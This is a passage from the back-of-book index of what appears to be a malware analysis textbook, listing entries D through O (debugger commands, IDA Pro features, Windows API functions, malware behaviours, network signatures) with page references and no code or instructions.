dt command, in WinDbg, 217, 552, 

563, 565
du command, in WinDbg, 210
dummy names, 100

changing, 111
Dummy service, in INetSim, 56
dump command, in OllyDbg, 658
dumping executable from 

memory, 469
OllyDump for, 390

dwo command, in WinDbg, 211
DWORD

call instruction with target based 
on, 396

in Windows API, 136
dynamic analysis, 39–60, 65. See also 

debuggers
advanced, 3
basic, 2–3
basic tools in practice, 56–59
benefits of, 39
Capture BAT for, 467
combining with static analysis, 

307–321
comparing Registry snapshots with 

Regshot, 50–51
faking network, 51–53
INetSim, 55–56
labs, 61–62

solutions, 482–493
packet sniffing with Wireshark, 

53–55
Process Explorer for viewing 

processes, 47–50
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Process Monitor (procmon), 43–46
running malware, 42–43
sandboxes, 40–42

drawbacks, 41–42
dynamic link libraries (DLLs), 12, 17, 

145–147
analyzing in IDA Pro, 521–525
base address different from 

preferred, 88
basic structure, 146–147
Detours to add new to existing 

binaries, 262
injection, 254–257

debugger view, 256
launching, 42
loading in OllyDbg, 191–192
load-order hijacking, for 

persistence, 244–245
malware as, 42
memory addresses for, 184–185
memory map to locate, 546–547
packed, 401
Process Explorer for finding 

injection, 589
dynamic linking, 16
dynamic unpacking programs, 

automated, 389
dynamically linked functions, explor-

ing with Dependency Walker, 
16–17

E
EA (effective address), in IDAPython 

scripts, 105
Eagle, Chris, The IDA Pro Book, 88
EAT (export address table), hooking 

method and, 248
EAX register, 75, 646
EBP register, 77
ECB (Electronic Code Book), 626
Eckel, Bruce, Thinking in C++, 428
ECX register, this parameter and, 429
.edata section, in PE file, 22
EDI register, 81
EDX register, 75
effective address (EA), in IDAPython 

scripts, 105
EFLAGS register, 72
EIP (instruction pointer), 73

Electronic Code Book (ECB), 626
ELF (Executable and Linking For-

mat), IDA Pro support for, 87
EM64T architecture, 441
email-stealing malware, 572
Emerging Threats list of signatures, 304
EnableExecuteProtectionSupport 

function, 456
encoding. See data encoding
encoding functions, 614, 725
encrypted files

first bytes of, 286
writing, 614

encrypted write, function graph of, 287
encryption

decoding algorithm with 
OllyDbg, 616

indications of, 618
relationship of functions, 621–622

endianness, in x86 architecture, 70
enter instruction, 77
entropy calculation, for packed 

executables, 387–388
entropy score, dependency with 

chunk size, 284
EnumProcesses function, 456, 730
EnumProcessModules function, 456
epilogue

64-bit code, 446–447
in functions, 77

EPROCESS structure
changing, 566
examining in WinDbg, 565

error message strings
finding in binary, 503–504
indicators of malware’s likely 

functions, 718
ESI register, 81
ESP register, 77, 348
event capture, toggling on and off in 

procmon, 749
event flow, in Windows with and with-

out hook injection, 259
Ex suffix, for Windows functions, 17
exception handlers

in 64-bit systems, 445, 447
building, 653
misusing structured, 344–346
in OllyDbg, 194–195
properly disassembled code, 654
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ExceptionHandler function, 345
EXCEPTION_REGISTRATION data 

structure, 344
exceptions, 344, 361–362

in debuggers, 175–177
first- and second-chance, 176

in Windows, 157–158
exclusive OR cipher. See XOR cipher
.exe files, program infecting, 519
Executable and Linking Format (ELF), 

IDA Pro support for, 87
executables. See also packed 

executables
dumping from memory, 469
function import by ordinal, 

16–17, 43
loading, 384–385

into address space of another 
process, 595

in IDA Pro, 88–89
opening in OllyDbg, 180–181
PEiD plug-ins running of, 14
searching for strings in, 11
shellcode as, 407
termination, 656–657

exit, analysis of immediate, 724
expediency, vs. accuracy, 304
exploits, 245
explorer.exe

code search for, 732
writing path into process, 588

export address table (EAT), hooking 
method and, 248

export data, in IMAGE_EXPORT_DIRECTORY 
array, 416

exported functions, 18
absence of, 521

Exports window, in IDA Pro, 91
$EXTERNAL_NET variable, in Snort, 303

F
fake services, 55
FakeDNS, 469
faking networks, 51–53

Netcat (nc) for monitoring, 52–53
false positives, in Snort, 306
Fast Library Identification and 

Recognition Technology 
(FLIRT), 88

signature detection, 541

fastcall calling convention, 120
fibers, in Microsoft systems, 151
“File contains too much data” error, 

in OllyDbg, 364
file mappings, 137–138
file signatures, 10
File system filters, in procmon, 46
file system functions, in Windows API, 

137–138
FILE_BOTH_DIR_INFORMATION structure, 

558–559
FileInformation structure, 558–559
FileInsight, 468
FileMon tool, 43
files

brute-forcing many, 273
checking names, 541
hidden, 558–559

recovering, 559–560
malware creation of, 612
malware modification of, 527–529
malware opening of, 714–716
malware uploading of, 716
transferring from virtual 

machine, 36
writing from kernel space, 215

Filter dialog in Process Monitor, 484
filters

in procmon, 44–46
in Wireshark, 53

Find OEP plug-in (Section Hop), 391
FindCrypt2, 283

output, 619
FindFirstFile function, 20, 456, 

478–479, 520, 527, 715
finding

networking code, 313
original entry point (OEP), 

391–395
with automated tools, 391–392
manually, 392–395

strings, 11–13
findKernel32Base function, 419, 

697, 707
FindNextFile function, 20, 478–479, 

520, 715
FindResource function, 254, 456, 596, 

600, 609
findSymbolByHash function, 418, 419, 

697, 707
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FindWindow function, 456, 662–663
to search for debugger, 356

firewall
and kernel patching, 227
for virtual machine, 33

firmware, 66
flags, 72–73
fldz instruction, 412
FlexHEX, 468
Flink pointers, 414
FLIRT (Fast Library Identification and 

Recognition Technology), 88
signature detection, 541

floating-point instruction, 130
flow chart, of current function, 98
flow control, obscuring, 340–346

adding missing code cross-
references in IDA Pro, 342

function pointer problem, 340–341
misusing structured exception 

handlers, 344–346
return pointer abuse, 342–343

flow-oriented disassembly, 329, 
331–334

flow Snort rule keyword, 305
fnstenv instruction, structure for, 

411–412
for loops, 116–118
ForceFlags field, in heap header, 355
format string, identifying, 505
formatting operands, in IDA Pro, 100
FPU (x87 floating-point unit), 411–413
FpuSaveState structure, 411
frame functions, 446
FS segment register, and SEH chain, 

344, 354
fsgina.dll, 235
fstenv instruction, structure for, 

411–412
FtpPutFile function, 456, 714
FtpSetCurrentDirectory function, 714
function pointers, 435

problem, 340–341
functions

analysis to determine stack frame 
construction, 347

analyzing in IDA Pro, 97–98
graphically, 114

call conventions, 119–121
decision to skip analysis, 526

disassembly and memory 
dump, 174

executable import by ordinal, 
16–17, 43

executable use of, 15–18
exported, 18
finding connection between, 622
finding that installs hook, 223
graphing cross-references, 498
graphs of calls, 98
hard-coded locations for calls, 410
identifying at stored memory 

location, 695
imported, 18, 19
naming conventions, 17
overloading in object-oriented 

programming, 430–431
program termination by, 656–657
recursive, 527
search for information on, 19
stepping-over vs. stepping-into, 

394–395
virtual vs. nonvirtual, 432–436

vtables, 434–435
Functions window, in IDA Pro, 91

G
g (go) command, in WinDbg, 211
GCC (GNU Compiler Convention), 

calling conventions, 121
GDI32.dll, 17

importing from, 20
GDT (global descriptor table), 374
GDT register (GDTR), 374
general registers, 71–72

in x64 architecture, 443
GET request, 309

and malicious activity, 299
malware construction of, 539

GetAdaptersInfo function, 456
dynamic resolution, 680

getaddrinfo function, 313
GetAsyncKeyState function, 239, 457, 

581, 585
GetCommandLineA function, 395

breakpoint on, 400
getContent function, 615
GetCurrentProcessId function, 547
GetCurrentThreadId function, 575
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GetDC function, 457
GetFileSize function, 708
GetForegroundWindow function, 239–240, 

457, 581, 585, 598–599
GetHash function, 236
gethostbyname function, 313, 314, 457, 

495–496, 727
gethostname function, 457, 611, 650
GetKeyState function, 240, 457
GetModuleBaseNameA function, 587
GetModuleFileName function, 457, 515, 

531, 541, 575
GetModuleHandle function, 395, 457, 609

breakpoint on, 400
GetProcAddress function, 13, 15, 224, 

237, 256, 387, 413, 457, 520
setting breakpoints on, 395
unpacking stub import of, 385

GetStartupInfo function, 457
GetSystemDefaultLangId function, 

457, 498
GetSystemDefaultLCID function, 178
GetTempPath function, 457, 604
GetThreadContext function, 458, 

590, 591
GetTickCount function, 313, 314, 315, 

358–359, 458, 668–669
GetVersion function, 395
GetVersionEx function, 458
GetWindowsDirectory function, 458
GFI Sandbox, 40–41
GINA (Graphical Identification and 

Authentication) interception, 
235–236

indications of, 567–571
global descriptor table (GDT), 374
global values in memory, 69
global variables, 587

cross-references for, 547
vs. local, 110–112

GlobalAlloc function, 609
globally unique identifiers 

(GUIDs), 155
GNU Compiler Collection (GCC), 

calling conventions, 121
gnuunx (GNU C++ UNIX) libraries, 102
GrabHash function, 237
graph

of encrypted write, 287
from IDA Pro Entropy Plugin, 

284–285

graph mode, in IDA Pro, 89–90, 
98–99

Graphical Identification and Authen-
tication (GINA) interception, 
235–236

indications of, 567–571
Gray Hat Python (Seitz), 201
GUI manipulation functions, 20
GUI programs, 

IMAGE_SUBSYSTEM_WINDOWS_GUI 
value for, 23

GUIDs (globally unique identifiers), 
155

H
hal.dll, malicious drivers and, 207
handles

for device objects, 220
obtaining, 216

for injecting malicious DLL, 255
locating for PDF document, 708
obtaining to samsrv.dll and 

advapi32.dll, 237
for service, OpenService function 

for, 550
in Windows API, 137
to Winlogon, opening, 603

handles type (H) type, in Windows 
API, 136

Handles window, in Process 
Explorer, 48

hard-coded headers, 637
hard-coded locations, for function 

calls, 410
hardware breakpoints, 357

in OllyDbg, 188, 190
vs. software, 687

hardware level, in x86 architecture, 66
hash dumping, 236–238

identifying method, 238
hash function, 418
hashed exported names, for symbol 

resolution, 417–418
hashing, 10
headers

hard-coded, 637
in PE file format, 21–26

Heads function, 105
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heap, 69
heap space, creating, 437
heap spray, 705
heap structures, information for 

creating, 355
Hello World program, 418–421

disassembly, 412
help, in OllyDbg, 197
heuristics, 10
Hex Editor Neo, 468
hex editors, 468
hex window, in Wireshark, 53
Hex Workshop, 468
HexEdit, 468
Hex-Rays Decompiler plug-in, 106, 

347, 468–469
hidden files, 558–559

recovering, 559–560
hidden process, 566
Hide Debugger plug-in, 354

for OllyDbg, 198
Hidedebug plug-in, 354
high-entropy content, search for, 283
high-level language, 66, 67
high-level remote hooks, 260
HKEY, 139
HKEY_CLASSES_ROOT, 140

\http\shell\open\command, 699
HKEY_CURRENT_CONFIG, 140
HKEY_CURRENT_USER (HKCU), 140
HKEY_LOCAL_MACHINE (HKLM), 140
HKEY_LOCAL_MACHINE\Software registry 

key, 448
\Microsoft\Cryptography\RNG\Seed, 549

RegSetValue, 484
\Microsoft\Windows\CurrentVersion\

Run, 485
\Microsoft\Windows NT\CurrentVersion\

SvcHost, 488
HKEY_USERS, 140
HlpGetPrimaryCredential function, 238
$HOME_NET variable, in Snort, 303
honeypots, 369
hook function, NtQueryDirectoryFile 

function as, 556–558
hook injection, 259–261

assembly code, 261
hooking

examining in OllyDbg, 579–580
function, 598

inline, 248–250
keylogger and, 239
local and remote, 260
looking for code, 223
low-level operation, 579
malware, installing code for, 577
System Service Descriptor Table 

(SSDT), 221–222
checking for, 222

host-based signatures, 2
hostname

Base64 string for encoding, 611
function to obtain, 722
of local machine, loading 

buffer, 650
host-only networking, 32–33
hotkeys, registering, 20
HTML (HyperText Markup Lan-

guage) comments, 506
command character parsed 

from, 509
to send commands to malware, 507

htons function, 727
HTTP (HyperText Transfer Protocol)

attackers’ use of, 309
port 80 and, 232
reverse backdoor, 539

HTTP server
backdoor indicators, 493
malware access to, 34
simulating, 56

HTTPOpenRequest function, 313
$HTTP_PORTS variable, in Snort, 303
HTTPQueryInfo function, 313
HTTPS, attackers’ use of, 309
HTTPS server, simulating, 56
HTTPSendRequest function, 313
Hungarian notation, 136
Hyde, Randall, The Art of Assembly 

Language, 68
HyperText Markup Language 

(HTML) comments, 506
command character parsed 

from, 509
to send commands to malware, 507

HyperText Transfer Protocol (HTTP)
attackers’ use of, 309
port 80 and, 232
reverse backdoor, 539
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I
IAT (import address table), hooking 

method and, 248
ICE (In-Circuit Emulator) 

breakpoint, 363
IDA Pro (Interactive Disassembler 

Professional), 87–106, 469
adding IP_ADAPTER_INFO structure, 

680–681
analyzing functions, 97–98
analyzing functions graphically, 114
applying structure in, 547–548
comparison plug-in for, 466
consecutive jump instructions in, 335
cross-references, 95–97
enhancing disassembly, 100–103
FindCrypt2, 283
graphing options, 98–99

for loop, 117
of parsing routines, 318–319
view for tail jump, 392–394

highlighting anti-VM in, 377–378
identifying XOR loops in, 274–276
interface, 89–95

disassembly window modes, 
89–90

returning to default view, 92
windows for analysis, 91–92

labs, 107–108
solutions, 494–501

listing imported with crypto-
graphic functions, 282

loading executable, 88–89
looking at user-space code in, 

215–216
manually switching bytes between 

data and instructions, 334
navigating, 92–94

colors in navigation band, 93
exploring history, 93
jumping to location, 93–94
links and cross-references, 92–93

to open driver, 551
packed program and, 387
plug-ins for extending, 103–106

commercial plug-ins, 106
IDAPython, 105–106
IDC scripts, 104–105

search for x86 instructions vulnera-
ble to VM detection, 670–672

searching, 94–95
searching packed executable for 

tail jump, 392
for TLS callback function 

analysis, 360
toggling between graph and 

traditional view, 495
vs. WinDbg, 553
WinMain function in, 561

The IDA Pro Book (Eagle), 88
IDA Pro Entropy Plugin, 283–284, 

619–620, 622
graph from, 284–285

IDA Pro database (idb), 88
IDA Pro Free, 87
idaapi module in IDAPython, 105
IDAPython, 105–106
.idata section, in PE file, 22
idautils module in IDAPython, 105
idb (IDA Pro database), 88
idc module in IDAPython, 105
IDC scripts, 104–105
IDEA (International Data Encryption 

Algorithm), 283
identifying malware, hashing for, 10
IDSs (intrusion detection systems), 298

signature-based, 302
with Snort, 303–304

IDT (Interrupt Descriptor Table), 
225, 374

IDT register (IDTR), 374
if statements

for active Internet connection, 510
recognizing, 113–116

IIDs (interface identifiers), 155
and COM functionality, 518

image base, 184
IMAGE_DATA_DIRECTORY structure, 364
IMAGE_DOS_HEADER structure, 22, 594
IMAGE_EXPORT_DIRECTORY array, export 

data in, 416
IMAGE_FILE_DLL, to modify PE 

header, 43
IMAGE_FILE_HEADER, in PE file, 22
IMAGE_NT_HEADERS structure, 22, 594
IMAGE_OPTIONAL_HEADER, in PE file, 23
IMAGE_OPTIONAL_HEADER structure, 

363–364
IMAGE_SECTION_HEADER structure, 23, 594
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IMAGE_SUBSYSTEM_WINDOWS_CUI value, for 
console programs, 23

IMAGE_SUBSYSTEM_WINDOWS_GUI value, for 
GUI programs, 23

$iment command, in WinDbg, 213
ImmDbg (Immunity Debugger), 179, 

292–294, 469, 616–617
Python scripts for, 200

immediate operands, 69
imm.getRegs function, 293
imm.remoteVirtualAlloc command, 293
imm.setBreakpoint function, 293
Immunity Debugger (ImmDbg), 179, 

292–294, 469, 616–617
Python scripts for, 200

Immunity security company, 179
imm.writeLong function, 293
imm.writeMemory command, 293
import address table (IAT), hooking 

method and, 248
Import Reconstructor (ImpRec), 

390–391, 469
import table

absence of, 480
modification, 262
rebuilding with Import 

Reconstructor, 390–391
repairing manually, 395–397

imported functions, 15, 18, 19
examining list, 513–517
packer resolving of, 385

Imports window, in IDA Pro, 91
ImpRec (Import Reconstructor), 

390–391, 469
In-Circuit Emulator (ICE) 

breakpoint, 363
in instruction (x86), 376
indexing service, malware starting, 582
indirection tactics, 300
inet_addr function, 458, 522
INetSim, 55–56, 57, 469, 634

logs for requests, 58
information-stealing malware, 4
infrastructure, attackers’ use of 

existing, 311
inheritance, in object-oriented 

programming, 432
.ini files, 139
InInitializationOrderLinks list of 

structures, 414

initialization function, 214
injected code, 64-bit version, 442
inline hooking, 248–250

function installing, 574–575
input function, and decoding, 286
input/output system (I/O), in x86 

architecture, 68
inserting interrupts, 362–363
installer export, graph of cross-

references, 572–573
installing

inline hook, 574–575
VMware Tools, 31

InstallService, 43
instance of class, 428
instruction pointer, 68, 71

debugger to change, 177
instruction pointer–relative 

data addressing, in x64 
architecture, 443–444

instruction set, 67
instructions

bytes as part of multiple, 338
in x86 architecture, 69–70

anti-VM, 377
INT 0x2E instruction, 158
INT 2D anti-debugging technique, 363
INT 3 instruction

exception and, 176
inserting, 362

INT scanning, 357
Interactive Disassembly Professional. 

See IDA Pro (Interactive Dis-
assembly Professional)

interface identifiers (IIDs), 155
and COM functionality, 518

International Data Encryption Algo-
rithm (IDEA), 283

Internet connection
if construct for active, 510
malware and, 29, 34
malware check for active, 501

Internet Explorer, third-party plug-ins 
for, 157

Internet functions, graph for func-
tions connected with, 
634–635

Internet Relay Chat (IRC), 309
Internet services, simulating, 55
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InternetCloseHandle function, 504, 634
InternetConnect function, 313
InternetGetConnectedState function, 

501, 502
InternetOpen function, 145, 313, 

458, 504, 505, 514, 634, 
639–640, 650

InternetOpenUrl function, 145, 313, 
458, 504, 505, 514, 634

InternetReadFile function, 145, 313, 
458, 504, 505, 634

InternetWriteFile function, 313, 458
interpreted languages, 67
interprocess coordination, with 

mutexes, 151–152
Interrupt Descriptor Table (IDT), 

225, 374
interrupts

anti-debugging with, 362–363
rootkits and, 225

intrusion detection systems 
(IDSs), 298

signature-based, 302
with Snort, 303–304

intrusion prevention systems 
(IPSs), 298

I/O communication port, query of, 
375–377

IoConnectInterrupt function, 225
IoCreateDevice function, 562
IoCreateSymbolicLink function, 562
IoGetCurrentProcess function, 565

import for, 560
IopInvalidDeviceRequest function, 564
IP addresses

blacklists of, 301
getting, 300–302
and malicious activity, 299

IP_ADAPTER_INFO structure, adding to 
IDA Pro, 680–681

IPRIP service, malware installed as, 488
IRC (Internet Relay Chat), 309
IRP_MJ_DEVICE_CONTROL function, 218

code listing, 219
locating function for, 218

IRP_MJ_READ function, 219
Irvine, Cynthia, 373
isdataat Snort rule keyword, 305
IsDebuggerPresent function, 352, 458
IsNTAdmin function, 458

IsWow64Process function, 448, 459
effort to dynamically resolve, 

729–730
Itanium, 441
IWebBrowser2 interface, Navigate 

function, 155

J
JavaScript

in PDF files, 704–705
to profile user’s system, 423

jmp instruction, 80, 329, 517
consecutive in IDA Pro, 335
with constant condition, 336
with same target, 334–335

jnz instruction, 408–409
Joe Sandbox, 40
jump instructions, 386
jump table, for switch structure, 

641–642
jumping to location, in IDA Pro, 

93–94
just-in-time debugger, 411

OllyDbg as, 696
jz instruction, 653

false conditional for, 647–648
target of, 646

K
KANAL (Krypto ANALyzer), 283, 

610, 619
KeInitializeApc function, 264–265
KeInsertQueueApc function, 264–265
kernel-based keyloggers, 238
kernel code, 206

64-bit malware and, 442
breakpoints, 548
malware creation of file, 554

kernel debugging
looking at user-space code, 

215–216
setting up for VMware, 207–210
WinDbg and, 205

kernel driver, creating service to 
load, 216

kernel mode
binary translation by VMware, 373
for debuggers, vs. user mode, 

168–169
in Windows, 158–159
748 INDEX



kernel patch protection, 227
kernel space, APC injection from, 

264–265
kernel32.dll, 17, 20, 159

assembly code to find base 
address, 415

finding in memory, 413–415
imported functions, 16
imports from, 480, 481
name change by malware, 520, 529
shellcode and, 413
viewing imports from, 478

KERNEL_DRIVER service type, 153
kernel-mode APC, 263
kernel-mode code, looking at, 

217–220
Kernighan, Brian, The C Programming 

Language, 110
KeServiceDescriptorTable function, 559
KeTickCount function, 549
key

for cryptographic algorithms, 281
in registry, 139

key initialization code, identifying, 622
keyboard inputs, 20
keyloggers, 4, 238–241

analysis, 585, 597–599
hooks for, 260
indications of, 491, 581

KMixer.sys, 217
KnownDLLs registry key, 245
Krypto ANALyzer (KANAL), 283, 

610, 619

L
lab environments, malware and, 298
labeling, in OllyDbg, 197
labs

64-bit malware, 450–451
solutions, 723–732

anti-debugging, 367–368
solutions, 655–669

anti-disassembly, 350
solutions, 645–655

anti-virtual machine (anti-VM) 
techniques, 381–382

solutions, 670–684
C++ analysis, 439–440

solutions, 712–723

C code constructs in assembly, 
133–134

solutions, 501–513
covert launching techniques, 

266–267
solutions, 586–607

data encoding, 295–296
solutions, 607–626

dynamic analysis, 61–62
solutions, 482–493

IDA Pro, 107–108
solutions, 494–501

malware behavior, 251–252
solutions, 566–586

network signatures, 323–324
solutions, 626–645

OllyDbg, 202–203
solutions, 530–548

packers, 403
solutions, 684–695

shellcode analysis, 425–426
solutions, 696–712

static analysis, 27–28
solutions, 477–481

WinDbg, 228
solutions, 548–566

Windows malware, 162–163
solutions, 513–529

last in, first out (LIFO) structure, 77
launchers, 4, 231–232. See also covert 

launching techniques
LdrGetProcAddress function, 15
LdrLoadDll function, 15, 459
LDT (local descriptor table), 374
LDT register (LDTR), 374
lea instruction (load effective 

address), 73–74
leaf functions, 446
leave instruction, 77
left rotation (rol), 76
legacy graphs, in IDA Pro, 98
libdisasm disassembly library, 330
LIFO (last in, first out) structure, 77
linear disassembly, 329–331

vs. flow-oriented, 331–332
linked libraries, executable use of, 

15–18
linked list traversal, 130–132
links, navigating in IDA Pro, 92–93
Linux virtual machine, 57
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listen function, 143, 144
listen mode, in Netcat, 52
LIST_ENTRY structure, 414, 565
little-endian data, 69
lm command, in WinDbg, 212, 223, 

553, 555
ln command, in WinDbg, 213
loaddll.exe, 401

OllyDbg use of, 191
loader, 232. See also launchers
loading

device drivers, 226
executable, 384–385

in IDA Pro, 88–89
LoadLibrary function, 13, 15, 261, 387, 

413, 417, 459, 520, 521, 545, 
546, 547, 585

finding last call, 692
unpacking stub import of, 385

LoadResource function, 254, 459, 596, 
600, 609

loc links, in IDA Pro, 93
local administrator, user 

running as, 245
local descriptor table (LDT), 374
local hooks, 260
local machine, loading buffer with 

hostname, 650
Local Security Authority Subsystem 

Service (LSASS) process, 236
local user accounts, password 

hashes of, 236
local variables, vs. global, 110–112
locally unique identifiers (LUIDs), 

238, 247
locations, name changes in 

IDA Pro, 100
LockResource function, 596, 609
logging

active window, 239
of credentials, 570–571
errors in malware, 674
in OllyDbg, 197

logical operators, 75
logon, credential stealers, 234–241
long pointer (LP) type, in Windows 

API, 136
LookupPrivilegeValueA function, 

247, 730
loopback encoding algorithm, 277

loops
in C code, 116–118
setting breakpoints after, 394

LordPE, 469
LowLevelKeyboardProc export, 20
low-level language level, 66, 67
LowLevelMouseProc export, 20
low-level remote hooks, 260
LsaEnumerateLogonSessions function, 459
lsaext.dll, 236
LSASS (Local Security Authority Sub-

system Service) process, 236
lsass.exe, 236
LUIDs (locally unique identifiers), 238

M
MAC address, for virtual machine, 371
machine code, 67
magic constant, 283
magic number, 376
main function

determining start, 530
starting analysis at, 501–502

main memory, in x86 architecture, 
68, 69

major function table, 218
analyzing functions of, 564–566
finding, 220

Malcode Analyst Pack, 469–470
malicious documents, Process 

Explorer to analyze, 50
malloc function, 578
malware. See also Windows malware

64-bit, 441–449
analyzing without unpacking, 

400–401
attempts to delete itself, 531
double-packed, 397
hashing for identifying, 10
observing in natural habitat, 298
packed and obfuscated, 13–14
running, 42–43
safe environment for running, 14
searching for evidence of 

encoding, 608
self-deletion scripting code, 674
types, 3–4

malware analysis
creating machine for, 31–33
danger of overanalysis, 308
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general rules, 4–5
goals, 1–2
risks of using VMware for, 36–37
techniques, 2–3. See also dynamic 

analysis; static analysis
tools, 465–475

malware behavior, 231–250
backdoor, 232–234
botnets, 234
credential stealers, 234–241

GINA interception, 235–236
hash dumping, 236–238
keystroke logging, 238–241

downloaders and launchers, 
231–232

indications of, 298–299
labs, 251–252

solutions, 566–586
persistence, 241–245

DLL load-order hijacking, 
244–245

trojanized system binaries, 
243–244

Windows Registry for, 241–243
privilege escalation, 245–247

SeDebugPrivilege, 246–247
remote administration tool (RAT), 

233–234
user-mode rootkits, 247–250

IAT hooking, 248
inline hooking, 248–250

Mandiant
ApateDNS, 51–52
Red Curtain, 388

mangling, 430–431
manual unpacking, 389–397
MapViewOfFile function, 137–138, 459, 

520, 527, 583
MapVirtualKey function, 459
mass malware, 4
MD5 (Message-Digest Algorithm 5), 10
media files, shellcode stored within, 423
memcmp function, 497
memcpy function, 596
memory

addresses for global variables, 111
allocation for objects, 437
checking for VMware artifacts, 373
copying PE sections into, 593–594

dumping executable from, 390, 
400, 469

finding device driver in, with 
WinDbg, 563

finding kernel32.dll in, 413–415
function dump, 174
processes and, 147

memory-access violations, 177
memory address operands, 69
memory breakpoint, in OllyDbg, 188, 

190–191
Memory dump window, in OllyDbg, 

183
memory map, to locate DLLs, 

546–547
Memory Map window, in OllyDbg, 

183–185
memory window, WinDbg reading 

from, 210–211
Memoryze, 470
message box, malware creation of, 586
Message-Digest Algorithm 5 (MD5), 10
message flow, in Windows with and 

without hook injection, 259
Metasploit, 245, 418
methods

in C++ class, 427
overloading, 430–431

microcode, in x86 architecture, 66
Microsoft. See also Windows

Component Object Model (COM), 
154–157

documentation, 453
firewall, 33
Hyper-V, 31
Software Data Execution Prevention 

(DEP), 345
symbols, 212–215
Virtual PC, 31
Visual Studio, 16

calling conventions, 121
wide character string, 11

Microsoft Developer Network 
(MSDN), 414

Microsoft signed binary, verifying, 48
MIME (Multipurpose Internet 

Mail Extensions) standard, 
Base64 and, 277

MmGetSystemRoutineAddress function, 
224, 459
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mneumonics, in instructions, 69
Module32First function, 459
Module32Next function, 459
modules

getting name of, 602
listing in WinDbg, 212

modulo operation, 75, 112, 113
mov instruction, 73, 76, 79, 338, 500

position dependence, 409
movsb instruction, 82
movsd instruction, 528
movsx instruction, 81
MS-DOS Stub Program, 22
MSDN (Microsoft Developer 

Network), 414
MSDN online, 19
msg keyword, in Snort, 304
msgina.dll, and GINA, 235
msvcrt.dll, imports from, 480
mul instruction, 75
multibyte encoding algorithm, 276
Multipurpose Internet Mail Exten-

sions (MIME) standard, 
Base64 and, 277

multithreaded version, of Windows 
reverse shell, 233

mutants, 151
mutexes, 58, 482, 513

creating, 483, 515
interprocess coordination with, 

151–152
malware creation of, 585
malware use of, 517

MZ header, in PE executable, 594

N
named constants, 102–103
named pipes, watching for 

input on, 634
names

conventions for functions, 17
hashed exported, for symbol 

resolution, 417–418
for lab files, 27
of locations, changing in 

IDA Pro, 100
for malicious DLL, 257
of malware, string comparison, 666
mangling in C++, 431

of modules, getting, 602
for mutexes, 151

Names window, in IDA Pro, 91
namespaces, files accessible via, 

138–139
NAT (Network Address Translation), 

311
for VMware, 34

Native API, in Windows, 159–161
native applications, 161
Navigate function, 155, 313
nc. See Netcat (nc)
Nebbett, Gary, Windows NT/2000 

Native API Reference, 160
nested if statements, 113, 114–116
net start cisvc command, 582
net start command, 43, 152, 581
Netcat (nc), 52–53, 470, 483, 634

examining results, 485
output when listening on 

port 80, 504
reverse shells, 232–233

NetScheduleJobAdd function, 459, 547
NetShareEnum function, 459
network adapter, bridged, 34
Network Address Translation 

(NAT), 311
for VMware, 34

network countermeasures, 297
Network filter, in procmon, 46
network interface cards (NICs), 

virtual, 371
network signatures, 2, 297–322

analysis, 631–632
attacker’s perspective and, 321–322
creating, 490
creating for Snort, 317
creating XOR brute-force, 273
Emerging Threats list of, 304
generating, 643
labs, 323–324

solutions, 626–645
for malware infection detection, 2
User-Agent field for, 637

networking APIs, 143–145
networks

analysis, 538–539
capturing traffic, 580
faking, 51–53
finding code, 313
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host-only, 32–33
indications of functioning, 572
knowing sources of content, 314
server and client sides, 144–145
virtual, 32

new operator, 435, 437, 712
nibble, 278
NICs (network interface cards), 

virtual, 371
No Pill technique, 375. See also sldt 

instruction (No Pill)
NopBytes function, 339
nonleaf functions, 446
nonprivileged mode, 177
nonvirtual functions, vs. virtual, 

432–436
NOP instruction, in x86 

architecture, 76
NOP sequence, 337
NOP sled, shellcode and, 422–423
NOP-ing out instructions with 

IDA Pro, 340
Norman SandBox, 40
Norton Ghost, 30
noscript tags, malware commands 

from, 638
NSPack, 388
NT namespace, 138
NtContinue function, 161, 386
NtCreateFile function, 215, 224
ntdll.dll, 17, 159, 352, 414
NTGlobalFlag flag, 355, 659–660
ntohl function, 191
ntoskrnl.exe, 159

malicious drivers and, 207
NtQueryDirectoryFile function, 459, 559

as hook function, 556–558
NtQueryInformationFile function, 160
NtQueryInformationKey function, 160
NtQueryInformationProcess function, 

352, 460
NtQueryInformationThread function, 160
NtQuerySystemInformation function, 160
NtReadFile function, 160
NtSetInformationProcess function, 460
NtWriteFile function, 160, 215
NULL bytes, avoiding in 

shellcode, 421
NULL-preserving single-byte XOR 

encoding, 273–274

NULL terminator, 11
Number of Opcode Bytes option, 335
NXDOMAIN option, 52

O
!object command, in WinDbg, 552
object-oriented programming, 

427–432
overloading and mangling, 

430–431
this pointer, 428–430

objects, creating and destroying 
in C++, 437

OEP. See original entry point (OEP)
OfficeMalScanner, 470
offset links, in IDA Pro, 93
OleInitialize function, 154, 460, 518
OllyDbg, 168, 179–201, 364, 470

analysis, 691
assistance features, 197
breakpoints, 188–191
choosing to debug arguments, 532
debug window from, 173
default settings for exceptions, 362
disassembly view, 533
examining hook in, 579–580
exception handling, 194–195
executing code, 186–187
finding function addresses 

with, 410
forcing code disassembly, 689
interface, 181–183
as just-in-time debugger, 411, 696
labs, 202–203

solutions, 530–548
loading DLLs, 191–192, 401
loading malware, 180–181, 656
loading packed executable in, 389
memory map to examine DLL load 

locations, 546
Memory Map window, 183–185
opening malware with, 538
OutputDebugString format string 

vulnerability, 365
packed program and, 387
patching, 195–196
pausing before TLS callback, 361
plug-ins, 197–200, 354
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OllyDbg, continued
premature termination of 

program in, 662
rebasing, 184–185
Run Trace option, 395
screen capture decoding with, 616
scriptable debugging, 200–201
shellcode analysis, 196–197
strncmp function in, 663
tracing, 192–194
viewing threads and stacks, 

185–186
vulnerabilities in, 363–365
WinUpack and, 400

OllyDump, 198, 389–390
dumping unpacked program, 694
Find OEP by Section Hop (Trace 

Into), 686
Find OEP by Section Hop (Trace 

Over), 685, 687
forcing code disassembly, 686

opcodes, in x86 architecture, 67, 70
open source sniffer, 53
OpenMutex function, 152, 460, 522
OpenProcess function, 460
OpenProcessToken function, 247, 730
OpenSCManager function, 153, 460, 514, 

515, 549, 550, 554
OpenService function, 549, 550
OpenSSL, 281
operands

formatting in IDA Pro, 100
in x86 architecture, 69, 70

operating systems (OSs), backup 
images of, 30

Operation filter, in procmon, 45
operational replication, 308
operations security (OPSEC), 299
or instruction, 76
OR logical operator, in x86 

architecture, 75
ordinal, executable import of func-

tions by, 16–17, 43
original entry point (OEP)

code around, 399
in DLLs, 401
finding, 391–395

with automated tools, 391–392
manually, 392–395

indications of, 694

transferring execution to, 386
unpacking stub and, 384

orphaned process, 490–491
OSR Driver Loader, 470–471
OSs (operating systems), backup 

images of, 30
Outlook Express, 579–580
output functions, tracing from, 286
